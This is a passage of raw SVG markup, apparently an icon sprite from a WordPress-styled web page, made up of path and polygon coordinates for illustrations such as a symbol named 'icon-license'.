fill="#FFFFFF"></path> <polygon id="Fill-215" fill="#ADDDF8" points="34.18 88.878 38.995 88.878 38.995 40.826 33.4855957 40.826"></polygon> <path d="M38.245,94.094 L38.245,39.139 L36.588,35.548 L34.93,39.139 L34.93,58.3605957 L33.43,58.3605957 L33.43,38.809 L35.627,34.048 C35.802,33.669 36.17,33.434 36.588,33.434 C37.005,33.434 37.373,33.669 37.548,34.048 L39.745,38.809 L39.745,94.094 L38.245,94.094 Z" id="Fill-216" fill="#0073AA"></path> <polygon id="Fill-217" fill="#0073AA" points="33.43 93.919 34.93 93.919 34.93 74.236 33.43 74.236"></polygon> <polygon id="Fill-218" fill="#0073AA" points="34.014 41.575 38.995 41.575 38.995 40.075 34.014 40.075"></polygon> <path d="M47.926,94.182 L47.926,22 L42.8954316,22 C42.5364316,22 42.2454316,22.325 42.2454316,22.728 L42.2454316,93.454 C42.2454316,93.856 42.5364316,94.182 42.8954316,94.182 L47.926,94.182 Z" id="Fill-220" fill="#E7F7FF"></path> <path d="M43.451,93.302 L41.951,93.302 L41.951,22.703 C41.951,21.853 42.643,21.161 43.493,21.161 L53.255,21.161 C54.105,21.161 54.797,21.853 54.797,22.703 L54.797,34.302 L53.297,34.302 L53.297,22.703 L43.493,22.661 L43.451,93.302" id="Fill-221" fill="#0073AA"></path> <polygon id="Fill-223" fill="#0073AA" points="42.701 81.363 47.926 81.363 47.926 79.863 42.701 79.863"></polygon> <polygon id="Fill-224" fill="#0073AA" points="42.701 73.772 47.926 73.772 47.926 72.272 42.701 72.272"></polygon> <polygon id="Fill-225" fill="#0073AA" points="42.701 66.182 47.926 66.182 47.926 64.682 42.701 64.682"></polygon> <polygon id="Fill-226" fill="#0073AA" points="42.701 58.591 47.926 58.591 47.926 57.091 42.701 57.091"></polygon> <polygon id="Fill-227" fill="#0073AA" points="42.701 51.001 47.926 51.001 47.926 49.501 42.701 49.501"></polygon> <polygon id="Fill-228" fill="#0073AA" points="42.701 43.41 47.926 43.41 47.926 41.91 42.701 41.91"></polygon> <polygon id="Fill-229" fill="#0073AA" points="42.701 35.819 47.926 35.819 47.926 34.319 42.701 34.319"></polygon> <polygon id="Fill-230" fill="#0073AA" points="42.701 28.34 47.926 28.34 47.926 26.84 42.701 26.84"></polygon> <path d="M123.044,91.052 L48.836,91.052 C48.286,91.052 47.836,90.602 47.836,90.052 L47.836,37.275 C47.836,36.725 48.286,36.275 48.836,36.275 L123.044,36.275 C123.594,36.275 124.044,36.725 124.044,37.275 L124.044,90.052 C124.044,90.602 123.594,91.052 123.044,91.052" id="Fill-231" fill="#8AC4E6"></path> <polygon id="Fill-232" fill="#0073AA" points="102.77 37.025 108.033 37.025 108.033 35.525 102.77 35.525"></polygon> <path d="M122.151,91.803 L49.73,91.803 C48.272,91.803 47.086,90.617 47.086,89.159 L47.086,38.169 C47.086,36.711 48.272,35.525 49.73,35.525 L101.397,35.525 L101.397,37.025 L49.73,37.025 C49.099,37.025 48.586,37.538 48.586,38.169 L48.586,89.159 C48.586,89.79 49.099,90.303 49.73,90.303 L122.151,90.303 C122.781,90.303 123.294,89.79 123.294,89.159 L124.794,89.159 C124.794,90.617 123.608,91.803 122.151,91.803" id="Fill-233" fill="#0073AA"></path> <polygon id="Fill-234" fill="#0073AA" points="109.752 37.025 119.93 37.025 119.93 35.525 109.752 35.525"></polygon> <polygon id="Fill-235" fill="#FFFFFF" points="51.537 85.036 119.93 85.036 119.93 40.585 51.537 40.585"></polygon> <path d="M122.712,94.094 L48.328,94.094 C46.542,94.094 45.019,92.8 44.73,91.038 L44.2,87.806 L78.676,87.806 L79.995,89.7 L89.522,89.7 L90.948,87.806 L127.267,87.806 L126.806,90.617 C126.477,92.622 124.744,94.094 122.712,94.094" id="Fill-236" fill="#FFFFFF"></path> <path d="M45.083,88.557 L45.47,90.917 C45.701,92.323 46.903,93.344 48.328,93.344 L122.712,93.344 C124.385,93.344 125.795,92.147 126.065,90.496 L126.384,88.557 L91.322,88.557 L89.895,90.45 L79.604,90.45 L78.285,88.557 L45.083,88.557 M122.712,94.844 L48.328,94.844 C46.164,94.844 44.34,93.294 43.99,91.159 L43.317,87.057 L79.068,87.057 L80.387,88.95 L89.147,88.95 L90.574,87.057 L128.149,87.057 L127.546,90.738 C127.156,93.117 125.123,94.844 122.712,94.844" id="Fill-237" fill="#0073AA"></path> <polyline id="Fill-239" fill="#B4D7E7" points="128.149 87.057 124.044 87.057 124.044 78.355 124.044 87.056 128.149 87.056 128.149 87.057"></polyline> <polyline id="Fill-241" fill="#0073AA" points="119.93 37.025 119.627 37.025 119.144 35.525 119.93 35.525 119.93 37.025"></polyline> <polygon id="Fill-242" fill="#B4D7E7" points="119.821 85.036 119.93 85.036 119.93 45.915 119.821 45.915"></polygon> <path d="M125.308,94.094 L119.821,94.094 L119.821,93.344 L122.712,93.344 C124.385,93.344 125.795,92.147 126.065,90.496 L126.384,88.557 L119.821,88.557 L119.821,87.057 L128.149,87.057 L127.546,90.738 C127.31,92.177 126.467,93.37 125.308,94.094" id="Fill-243" fill="#0073AA"></path> <path d="M128.529,47.577 L128.569,47.583 L131.29,47.591 L135.421,35.076 L129.776,25.121 L128.894,25.121 L128.811,34.648 C129.013,34.738 129.735,35.046 129.899,35.209 C130.612,35.919 130.614,37.073 129.905,37.785 C129.196,38.496 128.041,38.499 127.329,37.788 C126.616,37.079 126.615,35.925 127.324,35.213 C127.478,35.06 128.022,34.709 128.208,34.623 L128.428,25.121 L127.56,25.121 L121.77,35.023 L125.808,47.568 L128.529,47.577" id="Fill-244" fill="#FFFFFF"></path> <path d="M128.484,35.324 C128.323,35.411 127.943,35.66 127.848,35.749 C127.653,35.944 127.542,36.214 127.543,36.5 C127.543,36.786 127.655,37.055 127.857,37.257 C128.06,37.459 128.329,37.57 128.615,37.57 L128.617,37.57 C128.903,37.569 129.172,37.458 129.373,37.256 C129.789,36.837 129.788,36.157 129.369,35.74 C129.348,35.729 129.171,35.624 128.564,35.358 L128.484,35.324 Z M128.625,46.833 L130.748,46.84 L134.605,35.157 L129.633,26.388 L129.566,34.165 C130.047,34.39 130.282,34.532 130.428,34.677 C131.432,35.678 131.436,37.309 130.436,38.314 C129.951,38.801 129.306,39.068 128.619,39.07 L128.615,39.07 C127.929,39.07 127.285,38.804 126.799,38.319 C126.313,37.835 126.044,37.19 126.043,36.503 C126.042,35.816 126.308,35.17 126.792,34.684 C126.936,34.541 127.217,34.345 127.468,34.186 L127.647,26.458 L122.587,35.111 L126.354,46.82 L128.625,46.833 Z M131.831,48.344 L125.261,48.316 L120.954,34.934 L127.13,24.371 L130.213,24.371 L136.238,34.995 L131.831,48.344 L131.831,48.344 Z" id="Fill-245" fill="#0073AA"></path> <polygon id="Fill-246" fill="#E7F7FF" points="122.571 94.094 134.621 94.094 134.621 46.665 122.571 46.665"></polygon> <polygon id="Fill-247" fill="#8AC4E6" points="128.596 94.094 134.467 94.094 134.467 46.665 128.596 46.665"></polygon> <polygon id="Fill-248" fill="#0073AA" points="127.846 34.623 129.346 34.623 129.346 25.121 127.846 25.121"></polygon> <path d="M128.596,35.222 C127.836,35.222 127.219,35.84 127.219,36.599 C127.219,37.358 127.836,37.976 128.596,37.976 C129.355,37.976 129.972,37.358 129.972,36.599 C129.972,35.84 129.355,35.222 128.596,35.222 Z M128.596,39.476 C127.009,39.476 125.719,38.185 125.719,36.599 C125.719,35.013 127.009,33.722 128.596,33.722 C130.182,33.722 131.472,35.013 131.472,36.599 C131.472,38.185 130.182,39.476 128.596,39.476 L128.596,39.476 Z" id="Fill-249" fill="#0073AA"></path> <polygon id="Fill-250" fill="#0073AA" points="133.87 94.094 135.37 94.094 135.37 79.333 133.87 79.333"></polygon> <polyline id="Fill-251" fill="#0073AA" points="123.321 94.094 121.821 94.094 121.821 45.915 135.37 45.915 135.37 49.952 133.87 49.952 133.87 47.415 123.321 47.415 123.321 94.094"></polyline> <path d="M147.043,49.952 L150.585,49.952 L161.415,52.531 C162.41,52.768 163.112,53.657 163.112,54.679 L163.112,55.356 L147.043,55.356 L147.043,49.952" id="Fill-252" fill="#E7F7FF"></path> <path d="M147.043,67.248 L150.585,67.248 L161.415,64.668 C162.41,64.432 163.112,63.543 163.112,62.521 L163.112,61.843 L147.043,61.843 L147.043,67.248" id="Fill-253" fill="#E7F7FF"></path> <path d="M147.793,54.607 L162.36,54.607 C162.328,53.96 161.877,53.412 161.241,53.261 L150.497,50.702 L147.793,50.702 L147.793,54.607 Z M163.862,56.107 L146.293,56.107 L146.293,49.202 L150.759,49.223 L161.589,51.802 C162.927,52.121 163.862,53.304 163.862,54.679 L163.862,56.107 L163.862,56.107 Z" id="Fill-254" fill="#0073AA"></path> <path d="M147.793,66.498 L150.497,66.498 L161.242,63.939 C161.878,63.787 162.328,63.239 162.36,62.593 L147.793,62.593 L147.793,66.498 Z M150.673,67.998 L146.293,67.998 L146.293,61.093 L163.862,61.093 L163.862,62.521 C163.862,63.897 162.927,65.079 161.589,65.397 L150.673,67.998 L150.673,67.998 Z" id="Fill-255" fill="#0073AA"></path> <path d="M138.74,60.795 L136.212,60.795 L128.485,62.636 C127.776,62.805 127.275,63.439 127.275,64.168 L127.275,64.651 L138.74,64.651 L138.74,60.795" id="Fill-256" fill="#ADDDF8"></path> <path d="M138.74,55.514 L136.212,55.514 L128.485,53.674 C127.776,53.505 127.275,52.871 127.275,52.141 L127.275,51.658 L138.74,51.658 L138.74,55.514" id="Fill-257" fill="#ADDDF8"></path> <path d="M128.069,63.901 L137.99,63.901 L137.99,61.545 L136.3,61.545 L128.659,63.365 C128.376,63.433 128.158,63.639 128.069,63.901 Z M139.49,65.401 L126.525,65.401 L126.525,64.168 C126.525,63.087 127.26,62.156 128.311,61.906 L136.212,60.045 L139.49,60.045 L139.49,65.401 L139.49,65.401 Z" id="Fill-258" fill="#0073AA"></path> <path d="M136.3,54.764 L137.99,54.764 L137.99,52.408 L128.069,52.408 C128.158,52.671 128.376,52.877 128.659,52.944 L136.3,54.764 Z M139.49,56.264 L136.038,56.243 L128.311,54.403 C127.26,54.153 126.525,53.223 126.525,52.142 L126.525,50.908 L139.49,50.908 L139.49,56.264 L139.49,56.264 Z" id="Fill-259" fill="#0073AA"></path> <polygon id="Fill-260" fill="#FFFFFF" points="138.188 94.094 147.043 94.094 147.043 49.952 138.188 49.952"></polygon> <polyline id="Fill-261" fill="#0073AA" points="147.793 94.094 146.293 94.094 146.293 50.702 138.938 50.702 138.938 94.094 137.438 94.094 137.438 49.202 147.793 49.202 147.793 94.094"></polyline> <polygon id="Fill-262" fill="#0073AA" points="138.188 55.509 142.201 55.509 142.201 54.009 138.188 54.009"></polygon> <polygon id="Fill-263" fill="#0073AA" points="138.188 59.226 142.201 59.226 142.201 57.726 138.188 57.726"></polygon> <polygon id="Fill-264" fill="#0073AA" points="138.188 62.941 142.201 62.941 142.201 61.441 138.188 61.441"></polygon> <polygon id="Fill-265" fill="#0073AA" points="138.188 85.237 142.201 85.237 142.201 83.737 138.188 83.737"></polygon> <polygon id="Fill-266" fill="#0073AA" points="138.188 88.953 142.201 88.953 142.201 87.453 138.188 87.453"></polygon> <polygon id="Fill-267" fill="#0073AA" points="138.188 92.669 142.201 92.669 142.201 91.169 138.188 91.169"></polygon> <polygon id="Fill-268" fill="#8AC4E6" points="136.16 82.149 147.558 82.149 147.558 67.346 136.16 67.346"></polygon> <path d="M136.91,81.398 L146.808,81.398 L146.808,68.096 L136.91,68.096 L136.91,81.398 Z M135.41,82.898 L148.308,82.898 L148.308,66.596 L135.41,66.596 L135.41,82.898 Z" id="Fill-269" fill="#0073AA"></path> <polygon id="Fill-270" fill="#D1E8F0" points="132.496 77.619 135.003 77.619 135.003 71.657 132.496 71.657"></polygon> <path d="M133.246,76.869 L134.253,76.869 L134.253,72.406 L133.246,72.406 L133.246,76.869 Z M131.746,78.369 L135.753,78.369 L135.753,70.906 L131.746,70.906 L131.746,78.369 Z" id="Fill-271" fill="#0073AA"></path> <path d="M160.608,57.2 C159.905,57.2 159.333,57.772 159.333,58.476 C159.333,59.179 159.905,59.75 160.608,59.75 C161.311,59.75 161.883,59.179 161.883,58.476 C161.883,57.772 161.311,57.2 160.608,57.2 Z M160.608,61.25 C159.077,61.25 157.833,60.006 157.833,58.476 C157.833,56.945 159.077,55.7 160.608,55.7 C162.138,55.7 163.383,56.945 163.383,58.476 C163.383,60.006 162.138,61.25 160.608,61.25 L160.608,61.25 Z" id="Fill-272" fill="#0073AA"></path> <path d="M25.87,94.094 L24.269,94.094 C23.719,94.094 23.269,93.644 23.269,93.094 L23.269,89.579 C23.269,89.029 23.719,88.579 24.269,88.579 L25.87,88.579 C26.42,88.579 26.87,89.029 26.87,89.579 L26.87,93.094 C26.87,93.644 26.42,94.094 25.87,94.094" id="Fill-273" fill="#62A6CF"></path> <path d="M24.269,89.329 C24.133,89.329 24.019,89.443 24.019,89.579 L24.019,93.094 C24.019,93.229 24.133,93.344 24.269,93.344 L25.87,93.344 C26.006,93.344 26.12,93.229 26.12,93.094 L26.12,89.579 C26.12,89.443 26.006,89.329 25.87,89.329 L24.269,89.329 Z M25.87,94.844 L24.269,94.844 C23.304,94.844 22.519,94.059 22.519,93.094 L22.519,89.579 C22.519,88.614 23.304,87.829 24.269,87.829 L25.87,87.829 C26.835,87.829 27.62,88.614 27.62,89.579 L27.62,93.094 C27.62,94.059 26.835,94.844 25.87,94.844 L25.87,94.844 Z" id="Fill-274" fill="#0073AA"></path> <path d="M37.189,66.18 C37.189,59.535 31.802,54.147 25.157,54.147 C18.511,54.147 13.125,59.535 13.125,66.18 C13.125,70.638 15.556,74.522 19.159,76.6 L19.159,88.464 L20.865,91.696 L29.13,91.696 L31.154,88.464 L31.154,76.6 C34.758,74.522 37.189,70.638 37.189,66.18" id="Fill-275" fill="#FFFFFF"></path> <polyline id="Fill-276" fill="#ADDDF8" points="19.159 79.913 19.159 89.173 20.865 91.696 29.13 91.696 31.154 89.173 31.154 79.913 19.159 79.913"></polyline> <polyline id="Fill-277" fill="#62A6CF" points="31.154 88.464 29.13 91.696 20.865 91.696 19.159 88.464 31.154 88.464"></polyline> <path d="M29.546,92.446 L20.412,92.446 L18.41,88.649 L18.41,77.025 C14.676,74.697 12.375,70.581 12.375,66.18 C12.375,63.169 13.442,60.245 15.379,57.946 L16.526,58.913 C14.816,60.941 13.875,63.522 13.875,66.18 C13.875,70.192 16.043,73.937 19.535,75.951 L19.91,76.167 L19.91,88.278 L21.317,90.946 L28.715,90.946 L30.404,88.248 L30.404,76.167 L30.779,75.951 C34.27,73.937 36.439,70.192 36.439,66.18 C36.439,59.959 31.378,54.897 25.157,54.897 C23.691,54.897 22.265,55.174 20.92,55.72 L20.356,54.329 C21.882,53.711 23.497,53.397 25.157,53.397 C32.205,53.397 37.939,59.132 37.939,66.18 C37.939,70.581 35.638,74.697 31.904,77.025 L31.904,88.68 L29.546,92.446" id="Fill-278" fill="#0073AA"></path> <path d="M17.682,57.728 L16.617,56.673 C17.379,55.902 17.772,55.677 18.556,55.228 L18.784,55.098 L19.533,56.397 L19.301,56.53 C18.554,56.958 18.302,57.103 17.682,57.728" id="Fill-279" fill="#0073AA"></path> <polygon id="Fill-280" fill="#0073AA" points="17.35 81.029 32.964 81.029 32.964 79.529 17.35 79.529"></polygon> <polygon id="Fill-281" fill="#0073AA" points="17.35 83.758 32.964 83.758 32.964 82.258 17.35 82.258"></polygon> <polygon id="Fill-282" fill="#0073AA" points="17.35 86.485 32.964 86.485 32.964 84.985 17.35 84.985"></polygon> <polygon id="Fill-283" fill="#0073AA" points="17.35 89.214 32.964 89.214 32.964 87.714 17.35 87.714"></polygon> <path d="M31.488,66.188 C31.488,69.684 28.653,72.519 25.157,72.519 C21.66,72.519 18.826,69.684 18.826,66.188 C18.826,62.691 21.66,59.856 25.157,59.856 C28.653,59.856 31.488,62.691 31.488,66.188" id="Fill-284" fill="#E7F7FF"></path> <polygon id="Fill-320" fill="#0073AA" points="7.351 94.844 171.173 94.844 171.173 93.344 7.351 93.344"></polygon> <polygon id="Fill-321" fill="#0073AA" points="2.789 94.844 5.528 94.844 5.528 93.344 2.789 93.344"></polygon> <polygon id="Fill-322" fill="#0073AA" points="172.736 94.844 178.785 94.844 178.785 93.344 172.736 93.344"></polygon> </g> </symbol> <symbol id="icon-license" viewBox="0 0 168 104" version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <defs></defs> <g id="Page-1" stroke="none" stroke-width="1" fill="none" fill-rule="evenodd"> <path d="M159.557,102.076 L159.557,23.847 C159.557,21.722 157.834,20 155.71,20 L98.847,20 C96.722,20 95,21.722 95,23.847 L95,102.077 L159.557,102.076" id="Fill-16" fill="#ADDDF8"></path> <path d="M153.735,103.076 L153.735,24.847 C153.735,22.722 152.274,21 150.473,21 L102.262,21 C100.46,21 99,22.722 99,24.847 L99,103.077 L153.735,103.076" id="Fill-17" fill="#FFFFFF"></path> <path d="M95,29.973 L95,23.235 C95,21.448 96.448,20 98.235,20 L156.322,20 C158.108,20 159.557,21.448 159.557,23.235 L159.557,29.973 L95,29.973" id="Fill-18" fill="#ADDDF8"></path> <path d="M95.5,33.4394531 L94,33.4394531 L94,22.986 C94,20.788 95.787,19 97.985,19 L106.557,19 L106.557,20.5 L97.985,20.5 C96.614,20.5 95.5,21.615 95.5,22.986 L95.5,30.986 L95.5,33.4394531 Z" id="Fill-19" fill="#0073AA"></path> <path d="M160.284,102.85612 L158.784,101.859 L158.784,22.986 C158.784,21.615 157.669,20.5 156.299,20.5 L118,20.5 L118,19 L156.299,19 C158.496,19 160.284,20.788 160.284,22.986 L160.284,101.859 L160.284,102.85612 Z" id="Fill-20" fill="#0073AA"></path> <polygon id="Fill-21" fill="#0073AA" points="110 20.5 114.435 20.5 114.435 19 110 19"></polygon> <polygon id="Fill-22" fill="#0073AA" points="95 30.5 159.557 30.5 159.557 29 95 29"></polygon> <polygon id="Fill-23" fill="#0073AA" points="102 25.5 103.502 25.5 103.502 24 102 24"></polygon> <polygon id="Fill-24" fill="#0073AA" points="107 25.5 108.503 25.5 108.503 24 107 24"></polygon> <polygon id="Fill-25" fill="#0073AA" points="111 25.5 112.503 25.5 112.503 24 111 24"></polygon> <polygon id="Fill-26" fill="#E7F7FF" points="103 55.642 150.26 55.642 150.26 37 103 37"></polygon> <polygon id="Fill-27" fill="#D1E8F0" points="103 86.641 117.37 86.641 117.37 68 103 68"></polygon> <polygon id="Fill-28" fill="#E7F7FF" points="120 79.641 134.782 79.641 134.782 61 120 61"></polygon> <polygon id="Fill-29" fill="#E7F7FF" points="136 79.641 150.369 79.641 150.369 61 136 61"></polygon> <polygon id="Fill-28-Copy" fill="#E7F7FF" points="102.48 103.641 134.782 103.641 134.782 84.999 102.48 84.999"></polygon> <polygon id="Fill-29-Copy" fill="#E7F7FF" points="136 103.641 150.369 103.641 150.369 85 136 85"></polygon> <path d="M167.024,7.5 L162.75,7.5 C162.335,7.5 162,7.164 162,6.75 C162,6.335 162.335,6 162.75,6 L167.024,6 C167.438,6 167.774,6.335 167.774,6.75 C167.774,7.164 167.438,7.5 167.024,7.5" id="Fill-30" fill="#0073AA"></path> <path d="M164.75,9.774 C164.336,9.774 164,9.438 164,9.024 L164,4.75 C164,4.336 164.336,4 164.75,4 C165.164,4 165.5,4.336 165.5,4.75 L165.5,9.024 C165.5,9.438 165.164,9.774 164.75,9.774" id="Fill-31" fill="#0073AA"></path> <path d="M38.024,3.5 L33.75,3.5 C33.336,3.5 33,3.164 33,2.75 C33,2.336 33.336,2 33.75,2 L38.024,2 C38.438,2 38.774,2.336 38.774,2.75 C38.774,3.164 38.438,3.5 38.024,3.5" id="Fill-32" fill="#0073AA"></path> <path d="M35.75,5.774 C35.336,5.774 35,5.438 35,5.024 L35,0.75 C35,0.336 35.336,0 35.75,0 C36.164,0 36.5,0.336 36.5,0.75 L36.5,5.024 C36.5,5.438 36.164,5.774 35.75,5.774" id="Fill-33" fill="#0073AA"></path> <polygon id="Fill-42" fill="#0073AA" points="51 3.5 68.395 3.5 68.395 2 51 2"></polygon> <polygon id="Fill-43" fill="#0073AA" points="45 3.5 48.57 3.5 48.57 2 45 2"></polygon> <path d="M10.553,75.276 C10.553,75.981 9.982,76.553 9.277,76.553 C8.572,76.553 8,75.981 8,75.276 C8,74.571 8.572,74 9.277,74 C9.982,74 10.553,74.571 10.553,75.276" id="Fill-44" fill="#0073AA"></path> <path d="M81.83,19.915 C81.83,20.421 81.421,20.83 80.915,20.83 C80.41,20.83 80,20.421 80,19.915 C80,19.409 80.41,19 80.915,19 C81.421,19 81.83,19.409 81.83,19.915" id="Fill-45" fill="#0073AA"></path> <path d="M20.444,7.222 C20.444,7.897 19.897,8.444 19.222,8.444 C18.547,8.444 18,7.897 18,7.222 C18,6.547 18.547,6 19.222,6 C19.897,6 20.444,6.547 20.444,7.222" id="Fill-48" fill="#0073AA"></path> <path d="M166.444,43.222 C166.444,43.896 165.897,44.443 165.222,44.443 C164.547,44.443 164,43.896 164,43.222 C164,42.547 164.547,42 165.222,42 C165.897,42 166.444,42.547 166.444,43.222" id="Fill-49" fill="#0073AA"></path> <polyline id="Fill-50" fill="#A6CFE4" points="100.512 102 95 102 100.512 102"></polyline> <path d="M94.8495,88 L98.8495,88 L95.9598297,88 L95.9598297,102.09423 L99.023112,102.09423 L99.023112,103 L94.8495,103 L94.8495,88 Z M94.8495,32.75 L99.3995,32.75 L99.3995,32 L94.8495,32 L94.8495,32.75 Z" id="Fill-51" fill="#3378B0"></path> <path d="M41,79.577 L41,34.024801 C41,32.9360152 41.884,32.053 42.974,32.053 L117.087891,32.053 C118.177891,32.053 120.988,34.9388835 120.988,36.0276693 L120.988,79.577 L41,79.577 Z" id="Fill-55" fill="#8AC4E6"></path> <polygon id="Fill-56" fill="#0073AA" points="41 58.71 42.5 58.71 42.5 50 41 50"></polygon> <path d="M121.774,89.5021973 L120.274,89.5021973 L120.274,36.617 C120.274,34.898 118.875,33.5 117.156,33.5 L58,33.5 L58,32 L117.156,32 C119.702,32 121.774,34.071 121.774,36.617 L121.774,89.5021973 L121.34668,85.7150879" id="Fill-57" fill="#0073AA"></path> <polygon id="Fill-58" fill="#FFFFFF" points="46 83.024 117.396 83.024 117.396 37 46 37"></polygon> <polygon id="Fill-59" fill="#E7F7FF" points="69 101.266 93.099 101.266 93.099 87 69 87"></polygon> <polygon id="Fill-60" fill="#8AC4E6" points="69 93.133 93.099 93.133 93.099 86 69 86"></polygon> <path d="M69.5,101.266 L92.099,101.266 L92.099,88.5 L69.5,88.5 L69.5,101.266 Z M68,102.766 L93.599,102.766 L93.599,87 L68,87 L68,102.766 Z" id="Fill-61" fill="#0073AA"></path> <path d="M120.988,82.317 L41,82.317 L41,87.6012964 C41,88.2646852 41.896,88.802 43,88.802 L118.989,88.802 C120.093,88.802 120.988,88.2646852 120.988,87.6012964 L120.988,82.317" id="Fill-62" fill="#FFFFFF"></path> <polygon id="Fill-63" fill="#0073AA" points="53 89.5 115.489 89.5 115.489 88 53 88"></polygon> <polygon id="Fill-64" fill="#0073AA" points="51.5465 89.5 121.3405 89.5 121.3405 78.709 51.5465 78.709"></polygon> <polygon id="Fill-66" fill="#FFFFFE" points="136 82.189 138.052 82.189 138.052 68.082 136 68.082"></polygon> <path d="M137.746,101.42 L136.566,101.42 C135.149,101.42 134,100.271 134,98.854 L134,82 L140.312,82 L140.312,98.854 C140.312,100.271 139.163,101.42 137.746,101.42" id="Fill-67" fill="#FFFFFF"></path> <path d="M134.5,83.5 L134.5,99.604 C134.5,100.606 135.315,101.421 136.316,101.421 L137.495,101.421 C138.497,101.421 139.312,100.606 139.312,99.605 L139.312,83.5 L134.5,83.5 Z M137.495,102.921 L136.316,102.921 C134.488,102.921 133,101.434 133,99.604 L133,82 L140.812,82 L140.812,99.605 C140.812,101.434 139.325,102.921 137.495,102.921 L137.495,102.921 Z" id="Fill-68" fill="#0073AA"></path> <polygon id="Fill-69" fill="#0073AA" points="132 83.5 142.066 83.5 142.066 82 132 82"></polygon> <polyline id="Fill-70" fill="#FFFFFF" points="138.504 64.191 135 64.191 135.416 58 138.107 58 138.504 64.191"></polyline> <path d="M136.283,81.086 L136.835,81.086 L136.835,63.191 L137.506,63.191 L137.205,58.5 L135.919,58.5 L135.604,63.191 L136.283,63.191 L136.283,81.086 Z M138.335,82.586 L134.783,82.586 L134.783,64.691 L134,64.691 L134.517,57 L138.612,57 L139.106,64.691 L138.335,64.691 L138.335,82.586 L138.335,82.586 Z" id="Fill-71" fill="#0073AA"></path> <path d="M158.556,66.414 C158.556,63.16 156.675,60.353 153.944,59 L153.944,66.158 L150.278,68.274 L146.612,66.158 L146.612,59 C143.881,60.353 142,63.16 142,66.414 C142,69.82 144.057,72.742 146.996,74.013 L147.043,98.072 C147.043,99.885 148.513,101.354 150.325,101.354 C152.138,101.354 153.607,99.885 153.607,98.072 L153.56,74.013 C156.499,72.742 158.556,69.82 158.556,66.414" id="Fill-72" fill="#FFFFFF"></path> <path d="M145.612,60.532 C143.666,61.934 142.5,64.172 142.5,66.622 C142.5,69.626 144.283,72.339 147.044,73.533 L147.495,73.728 L147.543,98.279 C147.543,99.677 148.679,100.812 150.075,100.812 C151.472,100.812 152.608,99.677 152.608,98.281 L152.559,73.729 L153.012,73.533 C155.772,72.339 157.556,69.626 157.556,66.622 C157.556,64.171 156.389,61.933 154.444,60.532 L154.444,66.799 L150.028,69.349 L145.612,66.799 L145.612,60.532 Z M150.075,102.312 C147.852,102.312 146.043,100.504 146.043,98.281 L145.997,74.7 C142.945,73.177 141,70.058 141,66.622 C141,63.172 142.927,60.074 146.029,58.536 L147.112,58 L147.112,65.932 L150.028,67.616 L152.944,65.932 L152.944,58 L154.027,58.536 C157.129,60.073 159.056,63.171 159.056,66.622 C159.056,70.057 157.111,73.175 154.061,74.699 L154.108,98.279 C154.108,100.504 152.298,102.312 150.075,102.312 L150.075,102.312 Z" id="Fill-73" fill="#0073AA"></path> <path d="M53,90 L54.154,90" id="Fill-74" fill="#A6CFE4"></path> <polygon id="Fill-78" fill="#0073AA" points="53 89.5 54.154 89.5 54.154 88 53 88"></polygon> <path d="M17,103.21 L50.716,103.21 L50.716,64.224 C50.716,62.995 49.72,62 48.492,62 L19.224,62 C17.995,62 17,62.995 17,64.224 L17,103.21" id="Fill-80" fill="#FFFFFF"></path> <path d="M18.5,99.476 L17,99.476 L17,65.686 C17,63.654 18.653,62 20.685,62 L24.907,62 L24.907,63.5 L20.685,63.5 C19.48,63.5 18.5,64.481 18.5,65.686 L18.5,99.476" id="Fill-81" fill="#0073AA"></path> <polygon id="Fill-82" fill="#0073AA" points="27 63.5 31.912 63.5 31.912 62 27 62"></polygon> <path d="M52.366,99.476 L50.866,99.476 L50.866,65.686 C50.866,64.481 49.886,63.5 48.681,63.5 L34,63.5 L34,62 L48.681,62 C50.712,62 52.366,63.654 52.366,65.686 L52.366,99.476" id="Fill-83" fill="#0073AA"></path> <polygon id="Fill-84" fill="#E7F7FF" points="20 103.024 48.147 103.024 48.147 68 20 68"></polygon> <polygon id="Fill-85" fill="#0073AA" points="31 66.5 38.152 66.5 38.152 65 31 65"></polygon> <path d="M53.497,102.743 L53.497,101.63 C53.497,100.547 52.62,99.666 51.535,99.666 L48.487,99.654 C48.125,98.069 47.502,96.586 46.661,95.257 L48.819,93.097 C49.593,92.329 49.597,91.078 48.826,90.31 L47.211,88.693 C46.442,87.925 45.193,87.919 44.423,88.687 L42.261,90.847 C40.933,90.005 39.451,89.383 37.871,89.023 L37.871,85.973 C37.871,84.884 36.985,84 35.893,84 L33.614,84 C32.522,84 31.639,84.884 31.639,85.973 L31.639,89.023 C30.08,89.374 28.626,89.989 27.31,90.804 L25.164,88.639 C24.396,87.867 23.145,87.852 22.374,88.626 L20.75,90.231 C19.98,90.993 19.971,92.246 20.736,93.018 L22.88,95.189 C22.035,96.513 21.404,97.995 21.04,99.575 L17.991,99.562 C16.899,99.553 16.015,100.438 16.015,101.533 L16,102.743 L28.493,102.743 C28.493,99.288 31.296,96.495 34.756,96.495 C38.211,96.495 41.01,99.288 41.01,102.743 L53.497,102.743" id="Fill-86" fill="#8AC4E6"></path> <path d="M41.511,102.493 L40.011,102.493 C40.011,99.462 37.541,96.995 34.506,96.995 C31.466,96.995 28.993,99.462 28.993,102.493 L27.493,102.493 C27.493,98.634 30.639,95.495 34.506,95.495 C38.368,95.495 41.511,98.634 41.511,102.493 Z M16.5,102.503 L15,102.484 L15.015,101.273 C15.015,100.549 15.302,99.862 15.821,99.346 C16.336,98.835 17.001,98.568 17.747,98.563 L20.206,98.573 C20.544,97.337 21.039,96.155 21.684,95.049 L19.952,93.295 C19.443,92.78 19.163,92.095 19.167,91.366 C19.172,90.639 19.457,89.958 19.972,89.448 L21.596,87.842 C22.615,86.82 24.415,86.824 25.446,87.86 L27.18,89.611 C28.283,88.986 29.442,88.508 30.639,88.186 L30.639,85.723 C30.639,84.222 31.861,83 33.364,83 L35.643,83 C37.147,83 38.371,84.222 38.371,85.723 L38.371,88.187 C39.61,88.522 40.792,89.012 41.897,89.651 L43.643,87.906 C44.704,86.849 46.431,86.852 47.491,87.913 L49.106,89.53 C49.619,90.041 49.902,90.724 49.902,91.451 C49.901,92.18 49.615,92.865 49.098,93.38 L47.357,95.121 C47.996,96.231 48.488,97.415 48.824,98.656 L51.288,98.666 C52.781,98.666 53.997,99.883 53.997,101.38 L53.997,102.493 L52.497,102.493 L52.497,101.38 C52.497,100.711 51.954,100.166 51.285,100.166 L47.638,100.151 L47.506,99.571 C47.167,98.087 46.586,96.686 45.778,95.407 L45.457,94.901 L48.039,92.317 C48.273,92.084 48.401,91.776 48.402,91.449 